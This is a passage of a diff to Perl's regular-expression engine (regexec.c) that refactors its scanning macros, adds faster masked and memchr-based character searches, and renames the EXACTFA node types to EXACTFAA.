+	REXEC_FBC_CLASS_SCAN(1, CONDUTF8);                     \
     }                                                          \
     else {                                                     \
-	REXEC_FBC_CLASS_SCAN(COND);                            \
+	REXEC_FBC_CLASS_SCAN(0, COND);                         \
     }
 
+/* We keep track of where the next character should start after an occurrence
+ * of the one we're looking for.  Knowing that, we can see right away if the
+ * next occurrence is adjacent to the previous.  When 'doevery' is FALSE, we
+ * don't accept the 2nd and succeeding adjacent occurrences */
+#define FBC_CHECK_AND_TRY                                      \
+        if (   (   doevery                                     \
+                || s != previous_occurrence_end)               \
+            && (reginfo->intuit || regtry(reginfo, &s)))       \
+        {                                                      \
+            goto got_it;                                       \
+        }
+
+
+/* This differs from the above macros in that it calls a function which returns
+ * the next occurrence of the thing being looked for in 's'; and 'strend' if
+ * there is no such occurrence. */
+#define REXEC_FBC_FIND_NEXT_SCAN(UTF8, f)                   \
+    while (s < strend) {                                    \
+        s = (f);                                            \
+        if (s >= strend) {                                  \
+            break;                                          \
+        }                                                   \
+                                                            \
+        FBC_CHECK_AND_TRY                                   \
+        s += (UTF8) ? UTF8SKIP(s) : 1;                      \
+        previous_occurrence_end = s;                        \
+    }
+
 /* The three macros below are slightly different versions of the same logic.
  *
  * The first is for /a and /aa when the target string is UTF-8.  This can only
@@ -1647,7 +1971,7 @@
  * here.  And vice-versa if we are looking for a non-boundary.
  *
  * 'tmp' below in the next three macros in the REXEC_FBC_SCAN and
- * REXEC_FBC_UTF8_SCAN loops is a loop invariant, a bool giving the return of
+ * REXEC_FBC_SCAN loops is a loop invariant, a bool giving the return of
  * TEST_NON_UTF8(s-1).  To see this, note that that's what it is defined to be
  * at entry to the loop, and to get to the IF_FAIL branch, tmp must equal
  * TEST_NON_UTF8(s), and in the opposite branch, IF_SUCCESS, tmp is that
@@ -1658,7 +1982,7 @@
 #define FBC_UTF8_A(TEST_NON_UTF8, IF_SUCCESS, IF_FAIL)                         \
     tmp = (s != reginfo->strbeg) ? UCHARAT(s - 1) : '\n';                      \
     tmp = TEST_NON_UTF8(tmp);                                                  \
-    REXEC_FBC_UTF8_SCAN( /* advances s while s < strend */                     \
+    REXEC_FBC_SCAN(1,  /* 1=>is-utf8; advances s while s < strend */           \
         if (tmp == ! TEST_NON_UTF8((U8) *s)) {                                 \
             tmp = !tmp;                                                        \
             IF_SUCCESS; /* Is a boundary if values for s-1 and s differ */     \
@@ -1681,8 +2005,7 @@
                                                        0, UTF8_ALLOW_DEFAULT); \
     }                                                                          \
     tmp = TEST_UV(tmp);                                                        \
-    LOAD_UTF8_CHARCLASS_ALNUM();                                               \
-    REXEC_FBC_UTF8_SCAN( /* advances s while s < strend */                     \
+    REXEC_FBC_SCAN(1,  /* 1=>is-utf8; advances s while s < strend */           \
         if (tmp == ! (TEST_UTF8((U8 *) s, (U8 *) reginfo->strend))) {          \
             tmp = !tmp;                                                        \
             IF_SUCCESS;                                                        \
@@ -1702,7 +2025,7 @@
     else {  /* Not utf8 */                                                     \
 	tmp = (s != reginfo->strbeg) ? UCHARAT(s - 1) : '\n';                  \
 	tmp = TEST_NON_UTF8(tmp);                                              \
-	REXEC_FBC_SCAN( /* advances s while s < strend */                      \
+	REXEC_FBC_SCAN(0, /* 0=>not-utf8; advances s while s < strend */       \
 	    if (tmp == ! TEST_NON_UTF8((U8) *s)) {                             \
 		IF_SUCCESS;                                                    \
 		tmp = !tmp;                                                    \
@@ -1847,7 +2170,10 @@
     const char *strend, regmatch_info *reginfo)
 {
     dVAR;
+
+    /* TRUE if x+ need not match at just the 1st pos of run of x's */
     const I32 doevery = (prog->intflags & PREGf_SKIP) == 0;
+
     char *pat_string;   /* The pattern's exactish string */
     char *pat_end;	    /* ptr to end char of pat_string */
     re_fold_t folder;	/* Function for computing non-utf8 folds */
@@ -1857,7 +2183,15 @@
     U8 c1;
     U8 c2;
     char *e;
-    I32 tmp = 1;	/* Scratch variable? */
+
+    /* In some cases we accept only the first occurence of 'x' in a sequence of
+     * them.  This variable points to just beyond the end of the previous
+     * occurrence of 'x', hence we can tell if we are in a sequence.  (Having
+     * it point to beyond the 'x' allows us to work for UTF-8 without having to
+     * hop back.) */
+    char * previous_occurrence_end = 0;
+
+    I32 tmp;            /* Scratch variable */
     const bool utf8_target = reginfo->is_utf8_target;
     UV utf8_fold_flags = 0;
     const bool is_utf8_pat = reginfo->is_utf8_pat;
@@ -1883,21 +2217,28 @@
     case ANYOFD:
     case ANYOF:
         if (utf8_target) {
-            REXEC_FBC_UTF8_CLASS_SCAN(
+            REXEC_FBC_CLASS_SCAN(1, /* 1=>is-utf8 */
                       reginclass(prog, c, (U8*)s, (U8*) strend, utf8_target));
         }
         else if (ANYOF_FLAGS(c)) {
-            REXEC_FBC_CLASS_SCAN(reginclass(prog,c, (U8*)s, (U8*)s+1, 0));
+            REXEC_FBC_CLASS_SCAN(0, reginclass(prog,c, (U8*)s, (U8*)s+1, 0));
         }
         else {
-            REXEC_FBC_CLASS_SCAN(ANYOF_BITMAP_TEST(c, *((U8*)s)));
+            REXEC_FBC_CLASS_SCAN(0, ANYOF_BITMAP_TEST(c, *((U8*)s)));
         }
         break;
 
-    case EXACTFA_NO_TRIE:   /* This node only generated for non-utf8 patterns */
+    case ANYOFM:    /* ARG() is the base byte; FLAGS() the mask byte */
+        /* UTF-8ness doesn't matter, so use 0 */
+        REXEC_FBC_FIND_NEXT_SCAN(0,
+         (char *) find_next_masked((U8 *) s, (U8 *) strend,
+                                   (U8) ARG(c), FLAGS(c)));
+        break;
+
+    case EXACTFAA_NO_TRIE: /* This node only generated for non-utf8 patterns */
         assert(! is_utf8_pat);
 	/* FALLTHROUGH */
-    case EXACTFA:
+    case EXACTFAA:
         if (is_utf8_pat || utf8_target) {
             utf8_fold_flags = FOLDEQ_UTF8_NOMIX_ASCII;
             goto do_exactf_utf8;
@@ -1980,10 +2321,57 @@
         c1 = *pat_string;
         c2 = fold_array[c1];
         if (c1 == c2) { /* If char and fold are the same */
-            REXEC_FBC_EXACTISH_SCAN(*(U8*)s == c1);
+            while (s <= e) {
+                s = (char *) memchr(s, c1, e + 1 - s);
+                if (s == NULL) {
+                    break;
+                }
+
+                /* Check that the rest of the node matches */
+                if (   (ln == 1 || folder(s + 1, pat_string + 1, ln - 1))
+                    && (reginfo->intuit || regtry(reginfo, &s)) )
+                {
+                    goto got_it;
+                }
+                s++;
+            }
         }
         else {
-            REXEC_FBC_EXACTISH_SCAN(*(U8*)s == c1 || *(U8*)s == c2);
+            U8 bits_differing = c1 ^ c2;
+
+            /* If the folds differ in one bit position only, we can mask to
+             * match either of them, and can use this faster find method.  Both
+             * ASCII and EBCDIC tend to have their case folds differ in only
+             * one position, so this is very likely */
+            if (LIKELY(PL_bitcount[bits_differing] == 1)) {
+                bits_differing = ~ bits_differing;
+                while (s <= e) {
+                    s = (char *) find_next_masked((U8 *) s, (U8 *) e + 1,
+                                        (c1 & bits_differing), bits_differing);
+                    if (s > e) {
+                        break;
+                    }
+
+                    if (   (ln == 1 || folder(s + 1, pat_string + 1, ln - 1))
+                        && (reginfo->intuit || regtry(reginfo, &s)) )
+                    {
+                        goto got_it;
+                    }
+                    s++;
+                }
+            }
+            else {  /* Otherwise, stuck with looking byte-at-a-time.  This
+                       should actually happen only in EXACTFL nodes */
+                while (s <= e) {
+                    if (    (*(U8*)s == c1 || *(U8*)s == c2)
+                        && (ln == 1 || folder(s + 1, pat_string + 1, ln - 1))
+                        && (reginfo->intuit || regtry(reginfo, &s)) )
+                    {
+                        goto got_it;
+                    }
+                    s++;
+                }
+            }
         }
         break;
 
@@ -2359,6 +2747,22 @@
         );
         break;
 
+    case ASCII:
+        REXEC_FBC_FIND_NEXT_SCAN(0, find_next_ascii(s, strend, utf8_target));
+        break;
+
+    case NASCII:
+        if (utf8_target) {
+            REXEC_FBC_FIND_NEXT_SCAN(1, find_next_non_ascii(s, strend,
+                                                            utf8_target));
+        }
+        else {
+            REXEC_FBC_FIND_NEXT_SCAN(0, find_next_non_ascii(s, strend,
+                                                            utf8_target));
+        }
+
+        break;
+
     /* The argument to all the POSIX node types is the class number to pass to
      * _generic_isCC() to build a mask for searching in PL_charclass[] */
 
@@ -2368,7 +2772,7 @@
 
     case POSIXL:
         _CHECK_AND_WARN_PROBLEMATIC_LOCALE;
-        REXEC_FBC_CSCAN(to_complement ^ cBOOL(isFOO_utf8_lc(FLAGS(c), (U8 *) s)),
+        REXEC_FBC_CSCAN(to_complement ^ cBOOL(isFOO_utf8_lc(FLAGS(c), (U8 *) s, (U8 *) strend)),
                         to_complement ^ cBOOL(isFOO_lc(FLAGS(c), *s)));
         break;
 
@@ -2386,19 +2790,26 @@
         if (utf8_target) {
             /* The complement of something that matches only ASCII matches all
              * non-ASCII, plus everything in ASCII that isn't in the class. */
-            REXEC_FBC_UTF8_CLASS_SCAN(   ! isASCII_utf8_safe(s, strend)
-                                      || ! _generic_isCC_A(*s, FLAGS(c)));
+            REXEC_FBC_CLASS_SCAN(1,   ! isASCII_utf8_safe(s, strend)
+                                   || ! _generic_isCC_A(*s, FLAGS(c)));
             break;
         }
 
         to_complement = 1;
-        /* FALLTHROUGH */
+        goto posixa;
 
     case POSIXA:
+        /* Don't need to worry about utf8, as it can match only a single
+         * byte invariant character.  But we do anyway for performance reasons,
+         * as otherwise we would have to examine all the continuation
+         * characters */
+        if (utf8_target) {
+            REXEC_FBC_CLASS_SCAN(1, _generic_isCC_A(*s, FLAGS(c)));
+            break;
+        }
+
       posixa:
-        /* Don't need to worry about utf8, as it can match only a single
-         * byte invariant character. */
-        REXEC_FBC_CLASS_SCAN(
+        REXEC_FBC_CLASS_SCAN(0, /* 0=>not-utf8 */
                         to_complement ^ cBOOL(_generic_isCC_A(*s, FLAGS(c))));
         break;
 
@@ -2408,7 +2819,8 @@
 
     case POSIXU:
         if (! utf8_target) {
-            REXEC_FBC_CLASS_SCAN(to_complement ^ cBOOL(_generic_isCC(*s,
+            REXEC_FBC_CLASS_SCAN(0, /* 0=>not-utf8 */
+                                 to_complement ^ cBOOL(_generic_isCC(*s,
                                                                     FLAGS(c))));
         }
         else {
@@ -2415,94 +2827,43 @@
 
           posix_utf8:
             classnum = (_char_class_number) FLAGS(c);
-            if (classnum < _FIRST_NON_SWASH_CC) {
-                while (s < strend) {
-
-                    /* We avoid loading in the swash as long as possible, but
-                     * should we have to, we jump to a separate loop.  This
-                     * extra 'if' statement is what keeps this code from being
-                     * just a call to REXEC_FBC_UTF8_CLASS_SCAN() */
-                    if (UTF8_IS_ABOVE_LATIN1(*s)) {
-                        goto found_above_latin1;
-                    }
-                    if ((UTF8_IS_INVARIANT(*s)
-                         && to_complement ^ cBOOL(_generic_isCC((U8) *s,
-                                                                classnum)))
-                        || (   UTF8_IS_NEXT_CHAR_DOWNGRADEABLE(s, strend)
-                            && to_complement ^ cBOOL(
-                                _generic_isCC(EIGHT_BIT_UTF8_TO_NATIVE(*s,
-                                                                      *(s + 1)),
-                                              classnum))))
-                    {
-                        if (tmp && (reginfo->intuit || regtry(reginfo, &s)))
-                            goto got_it;
-                        else {
-                            tmp = doevery;
-                        }
-                    }
-                    else {
-                        tmp = 1;
-                    }
-                    s += UTF8SKIP(s);
-                }
-            }
-            else switch (classnum) {    /* These classes are implemented as
-                                           macros */
+            switch (classnum) {
+                default:
+                    REXEC_FBC_CLASS_SCAN(1, /* 1=>is-utf8 */
+                        to_complement ^ cBOOL(_invlist_contains_cp(
+                                              PL_XPosix_ptrs[classnum],
+                                              utf8_to_uvchr_buf((U8 *) s,
+                                                                (U8 *) strend,
+                                                                NULL))));
+                    break;
                 case _CC_ENUM_SPACE:
-                    REXEC_FBC_UTF8_CLASS_SCAN(
+                    REXEC_FBC_CLASS_SCAN(1, /* 1=>is-utf8 */
                         to_complement ^ cBOOL(isSPACE_utf8_safe(s, strend)));
                     break;
 
                 case _CC_ENUM_BLANK:
-                    REXEC_FBC_UTF8_CLASS_SCAN(
+                    REXEC_FBC_CLASS_SCAN(1,
                         to_complement ^ cBOOL(isBLANK_utf8_safe(s, strend)));
                     break;
 
                 case _CC_ENUM_XDIGIT:
-                    REXEC_FBC_UTF8_CLASS_SCAN(
+                    REXEC_FBC_CLASS_SCAN(1,
                        to_complement ^ cBOOL(isXDIGIT_utf8_safe(s, strend)));
                     break;
 
                 case _CC_ENUM_VERTSPACE:
-                    REXEC_FBC_UTF8_CLASS_SCAN(
+                    REXEC_FBC_CLASS_SCAN(1,
                        to_complement ^ cBOOL(isVERTWS_utf8_safe(s, strend)));
                     break;
 
                 case _CC_ENUM_CNTRL:
-                    REXEC_FBC_UTF8_CLASS_SCAN(
+                    REXEC_FBC_CLASS_SCAN(1,
                         to_complement ^ cBOOL(isCNTRL_utf8_safe(s, strend)));
                     break;
-
-                default:
-                    Perl_croak(aTHX_ "panic: find_byclass() node %d='%s' has an unexpected character class '%d'", OP(c), PL_reg_name[OP(c)], classnum);
-                    NOT_REACHED; /* NOTREACHED */
             }
         }
         break;
 
-      found_above_latin1:   /* Here we have to load a swash to get the result
-                               for the current code point */
-        if (! PL_utf8_swash_ptrs[classnum]) {
-            U8 flags = _CORE_SWASH_INIT_ACCEPT_INVLIST;
-            PL_utf8_swash_ptrs[classnum] =
-                    _core_swash_init("utf8",
-                                     "",
-                                     &PL_sv_undef, 1, 0,
-                                     PL_XPosix_ptrs[classnum], &flags);
-        }
-
-        /* This is a copy of the loop above for swash classes, though using the
-         * FBC macro instead of being expanded out.  Since we've loaded the
-         * swash, we don't have to check for that each time through the loop */
-        REXEC_FBC_UTF8_CLASS_SCAN(
-                to_complement ^ cBOOL(_generic_utf8_safe(
-                                      classnum,
-                                      s,
-                                      strend,
-                                      swash_fetch(PL_utf8_swash_ptrs[classnum],
-                                                  (U8 *) s, TRUE))));
-        break;
-
     case AHOCORASICKC:
     case AHOCORASICK:
         {
@@ -2618,10 +2979,10 @@
                     }
                     points[pointpos++ % maxlen]= uc;
                     if (foldlen || uc < (U8*)strend) {
-                        REXEC_TRIE_READ_CHAR(trie_type, trie,
-                                         widecharmap, uc,
-                                         uscan, len, uvc, charid, foldlen,
-                                         foldbuf, uniflags);
+                        REXEC_TRIE_READ_CHAR(trie_type, trie, widecharmap, uc,
+                                             (U8 *) strend, uscan, len, uvc,
+                                             charid, foldlen, foldbuf,
+                                             uniflags);
                         DEBUG_TRIE_EXECUTE_r({
                             dump_exec_pos( (char *)uc, c, strend,
                                         real_start, s, utf8_target, 0);
@@ -2766,7 +3127,7 @@
             }
             else {
                 /* create new COW SV to share string */
-                RX_MATCH_COPY_FREE(rx);
+                RXp_MATCH_COPY_FREE(prog);
                 prog->saved_copy = sv_setsv_cow(prog->saved_copy, sv);
             }
             prog->subbeg = (char *)SvPVX_const(prog->saved_copy);
@@ -2829,7 +3190,7 @@
             assert(min >= 0 && min <= max && min <= strend - strbeg);
             sublen = max - min;
 
-            if (RX_MATCH_COPIED(rx)) {
+            if (RXp_MATCH_COPIED(prog)) {
                 if (sublen > prog->sublen)
                     prog->subbeg =
                             (char*)saferealloc(prog->subbeg, sublen+1);
@@ -2840,7 +3201,7 @@
             prog->subbeg[sublen] = '\0';
             prog->suboffset = min;
             prog->sublen = sublen;
-            RX_MATCH_COPIED_on(rx);
+            RXp_MATCH_COPIED_on(prog);
         }
         prog->subcoffset = prog->suboffset;
         if (prog->suboffset && utf8_target) {
@@ -2867,7 +3228,7 @@
         }
     }
     else {
-        RX_MATCH_COPY_FREE(rx);
+        RXp_MATCH_COPY_FREE(prog);
         prog->subbeg = strbeg;
         prog->suboffset = 0;
         prog->subcoffset = 0;
@@ -3024,7 +3385,7 @@
             /* match via INTUIT shouldn't have any captures.
              * Let @-, @+, $^N know */
             prog->lastparen = prog->lastcloseparen = 0;
-            RX_MATCH_UTF8_set(rx, utf8_target);
+            RXp_MATCH_UTF8_set(prog, utf8_target);
             prog->offs[0].start = s - strbeg;
             prog->offs[0].end = utf8_target
                 ? (char*)utf8_hop((U8*)s, prog->minlenret) - strbeg
@@ -3051,8 +3412,8 @@
 	Perl_croak(aTHX_ "corrupted regexp program");
     }
 
-    RX_MATCH_TAINTED_off(rx);
-    RX_MATCH_UTF8_set(rx, utf8_target);
+    RXp_MATCH_TAINTED_off(prog);
+    RXp_MATCH_UTF8_set(prog, utf8_target);
 
     reginfo->prog = rx;	 /* Yes, sorry that this is confusing.  */
     reginfo->intuit = 0;
@@ -3221,7 +3582,7 @@
                 to_utf8_substr(prog);
             }
             ch = SvPVX_const(prog->anchored_utf8)[0];
-	    REXEC_FBC_SCAN(
+	    REXEC_FBC_SCAN(0,   /* 0=>not-utf8 */
 		if (*s == ch) {
 		    DEBUG_EXECUTE_r( did_match = 1 );
 		    if (regtry(reginfo, &s)) goto got_it;
@@ -3239,7 +3600,7 @@
                 }
             }
             ch = SvPVX_const(prog->anchored_substr)[0];
-	    REXEC_FBC_SCAN(
+	    REXEC_FBC_SCAN(0,   /* 0=>not-utf8 */
 		if (*s == ch) {
 		    DEBUG_EXECUTE_r( did_match = 1 );
 		    if (regtry(reginfo, &s)) goto got_it;
@@ -3374,7 +3735,7 @@
             regprop(prog, prop, c, reginfo, NULL);
 	    {
 		RE_PV_QUOTED_DECL(quoted,utf8_target,PERL_DEBUG_PAD_ZERO(1),
-		    s,strend-s,60);
+		    s,strend-s,PL_dump_re_max_len);
                 Perl_re_printf( aTHX_
 		    "Matching stclass %.*s against %s (%d bytes)\n",
 		    (int)SvCUR(prop), SvPVX_const(prop),
@@ -3894,10 +4255,10 @@
             reginitcolors();    
     {
         RE_PV_QUOTED_DECL(s0, utf8_pat, PERL_DEBUG_PAD_ZERO(0), 
-            RX_PRECOMP_const(prog), RX_PRELEN(prog), 60);   
+            RX_PRECOMP_const(prog), RX_PRELEN(prog), PL_dump_re_max_len);
         
         RE_PV_QUOTED_DECL(s1, utf8_target, PERL_DEBUG_PAD_ZERO(1),
-            start, end - start, 60); 
+            start, end - start, PL_dump_re_max_len);
         
         Perl_re_printf( aTHX_
             "%s%s REx%s %s against %s\n", 
@@ -3953,11 +4314,11 @@
 	const int is_uni = utf8_target ? 1 : 0;
 
 	RE_PV_COLOR_DECL(s0,len0,is_uni,PERL_DEBUG_PAD(0),
-	    (locinput - pref_len),pref0_len, 60, 4, 5);
+	    (locinput - pref_len),pref0_len, PL_dump_re_max_len, 4, 5);
 	
 	RE_PV_COLOR_DECL(s1,len1,is_uni,PERL_DEBUG_PAD(1),
 		    (locinput - pref_len + pref0_len),
-		    pref_len - pref0_len, 60, 2, 3);
+		    pref_len - pref0_len, PL_dump_re_max_len, 2, 3);
 	
 	RE_PV_COLOR_DECL(s2,len2,is_uni,PERL_DEBUG_PAD(2),
 		    locinput, loc_regeol - locinput, 10, 0, 1);
@@ -4158,71 +4519,41 @@
         else { /* an EXACTFish node which doesn't begin with a multi-char fold */
             c1 = is_utf8_pat ? valid_utf8_to_uvchr(pat, NULL) : *pat;
             if (c1 > 255) {
-                /* Load the folds hash, if not already done */
-                SV** listp;
-                if (! PL_utf8_foldclosures) {
-                    _load_PL_utf8_foldclosures();
-                }
+                const unsigned int * remaining_folds_to_list;
+                unsigned int first_folds_to;
 
-                /* The fold closures data structure is a hash with the keys
-                 * being the UTF-8 of every character that is folded to, like
-                 * 'k', and the values each an array of all code points that
-                 * fold to its key.  e.g. [ 'k', 'K', KELVIN_SIGN ].
-                 * Multi-character folds are not included */
-                if ((! (listp = hv_fetch(PL_utf8_foldclosures,
-                                        (char *) pat,
-                                        UTF8SKIP(pat),
-                                        FALSE))))
-                {
-                    /* Not found in the hash, therefore there are no folds
-                    * containing it, so there is only a single character that
-                    * could match */
-                    c2 = c1;
+                /* Look up what code points (besides c1) fold to c1;  e.g.,
+                 * [ 'K', KELVIN_SIGN ] both fold to 'k'. */
+                Size_t folds_to_count = _inverse_folds(c1,
+                                                     &first_folds_to,
+                                                     &remaining_folds_to_list);
+                if (folds_to_count == 0) {
+                    c2 = c1;    /* there is only a single character that could
+                                   match */
                 }
-                else {  /* Does participate in folds */
-                    AV* list = (AV*) *listp;
-                    if (av_tindex_skip_len_mg(list) != 1) {
+                else if (folds_to_count != 1) {
+                    /* If there aren't exactly two folds to this (itself and
+                     * another), it is outside the scope of this function */
+                    use_chrtest_void = TRUE;
+                }
+                else {  /* There are two.  We already have one, get the other */
+                    c2 = first_folds_to;
 
-                        /* If there aren't exactly two folds to this, it is
-                         * outside the scope of this function */
-                        use_chrtest_void = TRUE;
+                    /* Folds that cross the 255/256 boundary are forbidden if
+                     * EXACTFL (and isnt a UTF8 locale), or EXACTFAA and one is
+                     * ASCIII.  The only other match to c1 is c2, and since c1
+                     * is above 255, c2 better be as well under these
+                     * circumstances.  If it isn't, it means the only legal
+                     * match of c1 is itself. */
+                    if (    c2 < 256
+                        && (   (   OP(text_node) == EXACTFL
+                                && ! IN_UTF8_CTYPE_LOCALE)
+                            || ((     OP(text_node) == EXACTFAA
+                                   || OP(text_node) == EXACTFAA_NO_TRIE)
+                                && (isASCII(c1) || isASCII(c2)))))
+                    {
+                        c2 = c1;
                     }
-                    else {  /* There are two.  Get them */
-                        SV** c_p = av_fetch(list, 0, FALSE);
-                        if (c_p == NULL) {
-                            Perl_croak(aTHX_ "panic: invalid PL_utf8_foldclosures structure");
-                        }
-                        c1 = SvUV(*c_p);
-
-                        c_p = av_fetch(list, 1, FALSE);
-                        if (c_p == NULL) {
-                            Perl_croak(aTHX_ "panic: invalid PL_utf8_foldclosures structure");
-                        }
-                        c2 = SvUV(*c_p);
-
-                        /* Folds that cross the 255/256 boundary are forbidden
-                         * if EXACTFL (and isnt a UTF8 locale), or EXACTFA and
-                         * one is ASCIII.  Since the pattern character is above
-                         * 255, and its only other match is below 256, the only
-                         * legal match will be to itself.  We have thrown away
-                         * the original, so have to compute which is the one
-                         * above 255. */
-                        if ((c1 < 256) != (c2 < 256)) {
-                            if ((OP(text_node) == EXACTFL
-                                 && ! IN_UTF8_CTYPE_LOCALE)
-                                || ((OP(text_node) == EXACTFA
-                                    || OP(text_node) == EXACTFA_NO_TRIE)
-                                    && (isASCII(c1) || isASCII(c2))))
-                            {
-                                if (c1 < 256) {
-                                    c1 = c2;
-                                }
-                                else {
-                                    c2 = c1;
-                                }
-                            }
-                        }
-                    }
                 }
             }
             else /* Here, c1 is <= 255 */
@@ -4229,8 +4560,8 @@
                 if (utf8_target
                     && HAS_NONLATIN1_FOLD_CLOSURE(c1)
                     && ( ! (OP(text_node) == EXACTFL && ! IN_UTF8_CTYPE_LOCALE))
-                    && ((OP(text_node) != EXACTFA
-                        && OP(text_node) != EXACTFA_NO_TRIE)
+                    && ((OP(text_node) != EXACTFAA
+                        && OP(text_node) != EXACTFAA_NO_TRIE)
                         || ! isASCII(c1)))
             {
                 /* Here, there could be something above Latin1 in the target
@@ -4262,12 +4593,12 @@
                         }
                         /* FALLTHROUGH */
                         /* /u rules for all these.  This happens to work for
-                        * EXACTFA as nothing in Latin1 folds to ASCII */
-                    case EXACTFA_NO_TRIE:   /* This node only generated for
-                                            non-utf8 patterns */
+                        * EXACTFAA as nothing in Latin1 folds to ASCII */
+                    case EXACTFAA_NO_TRIE:   /* This node only generated for
+                                                non-utf8 patterns */
                         assert(! is_utf8_pat);
                         /* FALLTHROUGH */
-                    case EXACTFA:
+                    case EXACTFAA:
                     case EXACTFU_SS:
                     case EXACTFU:
                         c2 = PL_fold_latin1[c1];
@@ -4340,7 +4671,7 @@
                 /* Do not break within emoji flag sequences. That is, do not
                  * break between regional indicator (RI) symbols if there is an
                  * odd number of RI characters before the break point.
-                 *  GB12     ^ (RI RI)* RI × RI
+                 *  GB12   sot (RI RI)* RI × RI
                  *  GB13 [^RI] (RI RI)* RI × RI */
 
                 while (backup_one_GCB(strbeg,
@@ -4632,7 +4963,7 @@
                  * only if there are an even number of regional indicators
                  * preceding the position of the break.
                  *
-                 *  sot (RI RI)* RI × RI
+                 *    sot (RI RI)* RI × RI
                  *  [^RI] (RI RI)* RI × RI */
 
                 while (backup_one_LB(strbeg,
@@ -5162,7 +5493,7 @@
                  * odd number of RI characters before the potential break
                  * point.
                  *
-                 * WB15     ^ (RI RI)* RI × RI
+                 * WB15   sot (RI RI)* RI × RI
                  * WB16 [^RI] (RI RI)* RI × RI */
 
                 while (backup_one_WB(&previous,
@@ -5370,7 +5701,7 @@
     SV *sv_yes_mark = NULL; /* last mark name we have seen 
                                during a successful match */
     U32 lastopen = 0;       /* last open we saw */
-    bool has_cutgroup = RX_HAS_CUTGROUP(rex) ? 1 : 0;   
+    bool has_cutgroup = RXp_HAS_CUTGROUP(rex) ? 1 : 0;
     SV* const oreplsv = GvSVn(PL_replgv);
     /* these three flags are set by various ops to signal information to
      * the very next op. They have a useful lifetime of exactly one loop
@@ -5397,6 +5728,7 @@
     bool is_utf8_pat = reginfo->is_utf8_pat;
     bool match = FALSE;
     I32 orig_savestack_ix = PL_savestack_ix;
+    U8 * script_run_begin = NULL;
 
 /* Solaris Studio 12.3 messes up fetching PL_charclass['\n'] */
 #if (defined(__SUNPRO_C) && (__SUNPRO_C == 0x5120) && defined(__x86_64) && defined(USE_64_BIT_ALL))
@@ -5430,8 +5762,6 @@
     }));
 
     while (scan != NULL) {
-
-
 	next = scan + NEXT_OFF(scan);
 	if (next == scan)
 	    next = NULL;
@@ -5528,7 +5858,7 @@
              */
             if(!NEXTCHR_IS_EOS && !ANYOF_BITMAP_TEST(scan, nextchr)) {
                 DEBUG_EXECUTE_r(
-                    Perl_re_exec_indentf( aTHX_  "%sfailed to match trie start class...%s\n",
+                    Perl_re_exec_indentf( aTHX_  "%sTRIE: failed to match trie start class...%s\n",
                               depth, PL_colors[4], PL_colors[5])
                 );
                 sayNO_SILENT;
@@ -5593,6 +5923,7 @@
                 if (scan->flags == EXACTL || scan->flags == EXACTFLU8) {
                     _CHECK_AND_WARN_PROBLEMATIC_LOCALE;
                     if (utf8_target
+                        && ! NEXTCHR_IS_EOS
                         && UTF8_IS_ABOVE_LATIN1(nextchr)
                         && scan->flags == EXACTL)
                     {
@@ -5608,7 +5939,7 @@
                 {
         	    if (trie->states[ state ].wordnum) {
         	         DEBUG_EXECUTE_r(
-                            Perl_re_exec_indentf( aTHX_  "%smatched empty string...%s\n",
+                            Perl_re_exec_indentf( aTHX_  "%sTRIE: matched empty string...%s\n",
                                           depth, PL_colors[4], PL_colors[5])
                         );
 			if (!trie->jump)
@@ -5615,7 +5946,7 @@
 			    break;
         	    } else {
         	        DEBUG_EXECUTE_r(
-                            Perl_re_exec_indentf( aTHX_  "%sfailed to match trie start class...%s\n",
+                            Perl_re_exec_indentf( aTHX_  "%sTRIE: failed to match trie start class...%s\n",
                                           depth, PL_colors[4], PL_colors[5])
                         );
         	        sayNO_SILENT;
@@ -5671,7 +6002,7 @@
                                 DUMP_EXEC_POS( (char *)uc, scan, utf8_target, depth );
                                 /* HERE */
                                 PerlIO_printf( Perl_debug_log,
-                                    "%*s%sState: %4" UVxf " Accepted: %c ",
+                                    "%*s%sTRIE: State: %4" UVxf " Accepted: %c ",
                                     INDENT_CHARS(depth), "", PL_colors[4],
 			            (UV)state, (accepted ? 'Y' : 'N'));
 		    });
@@ -5680,8 +6011,9 @@
 		    if ( base && (foldlen || uc < (U8*)(reginfo->strend))) {
 			I32 offset;
 			REXEC_TRIE_READ_CHAR(trie_type, trie, widecharmap, uc,
-					     uscan, len, uvc, charid, foldlen,
-					     foldbuf, uniflags);
+                                             (U8 *) reginfo->strend, uscan,
+                                             len, uvc, charid, foldlen,
+                                             foldbuf, uniflags);
 			charcount++;
 			if (foldlen>0)
 			    ST.longfold = TRUE;
@@ -5705,7 +6037,7 @@
 		    }
 		    DEBUG_TRIE_EXECUTE_r(
                         Perl_re_printf( aTHX_
-		            "Charid:%3x CP:%4" UVxf " After State: %4" UVxf "%s\n",
+		            "TRIE: Charid:%3x CP:%4" UVxf " After State: %4" UVxf "%s\n",
 		            charid, uvc, (UV)state, PL_colors[5] );
 		    );
 		}
@@ -5724,7 +6056,7 @@
 		}
 
 		DEBUG_EXECUTE_r(
-                    Perl_re_exec_indentf( aTHX_  "%sgot %" IVdf " possible matches%s\n",
+                    Perl_re_exec_indentf( aTHX_  "%sTRIE: got %" IVdf " possible matches%s\n",
                         depth,
 			PL_colors[4], (IV)ST.accepted, PL_colors[5] );
 		);
@@ -5816,8 +6148,8 @@
 			while (foldlen) {
 			    if (!--chars)
 				break;
-			    uvc = utf8n_to_uvchr(uscan, UTF8_MAXLEN, &len,
-					    uniflags);
+			    uvc = utf8n_to_uvchr(uscan, foldlen, &len,
+                                                 uniflags);
 			    uscan += len;
 			    foldlen -= len;
 			}
@@ -5857,7 +6189,7 @@
                         ? av_fetch(trie_words, ST.nextword - 1, 0) : NULL;
 		SV *sv= tmp ? sv_newmortal() : NULL;
 
-                Perl_re_exec_indentf( aTHX_  "%sonly one match left, short-circuiting: #%d <%s>%s\n",
+                Perl_re_exec_indentf( aTHX_  "%sTRIE: only one match left, short-circuiting: #%d <%s>%s\n",
                     depth, PL_colors[4],
 		    ST.nextword,
 		    tmp ? pv_pretty(sv, SvPV_nolen_const(*tmp), SvCUR(*tmp), 0,
@@ -5998,11 +6330,11 @@
 	    fold_utf8_flags = is_utf8_pat ? FOLDEQ_S1_ALREADY_FOLDED : 0;
 	    goto do_exactf;
 
-        case EXACTFA_NO_TRIE:   /* This node only generated for non-utf8
+        case EXACTFAA_NO_TRIE:   /* This node only generated for non-utf8
                                    patterns */
             assert(! is_utf8_pat);
             /* FALLTHROUGH */
-	case EXACTFA:            /*  /abc/iaa     */
+	case EXACTFAA:            /*  /abc/iaa     */
 	    folder = foldEQ_latin1;
 	    fold_array = PL_fold_latin1;
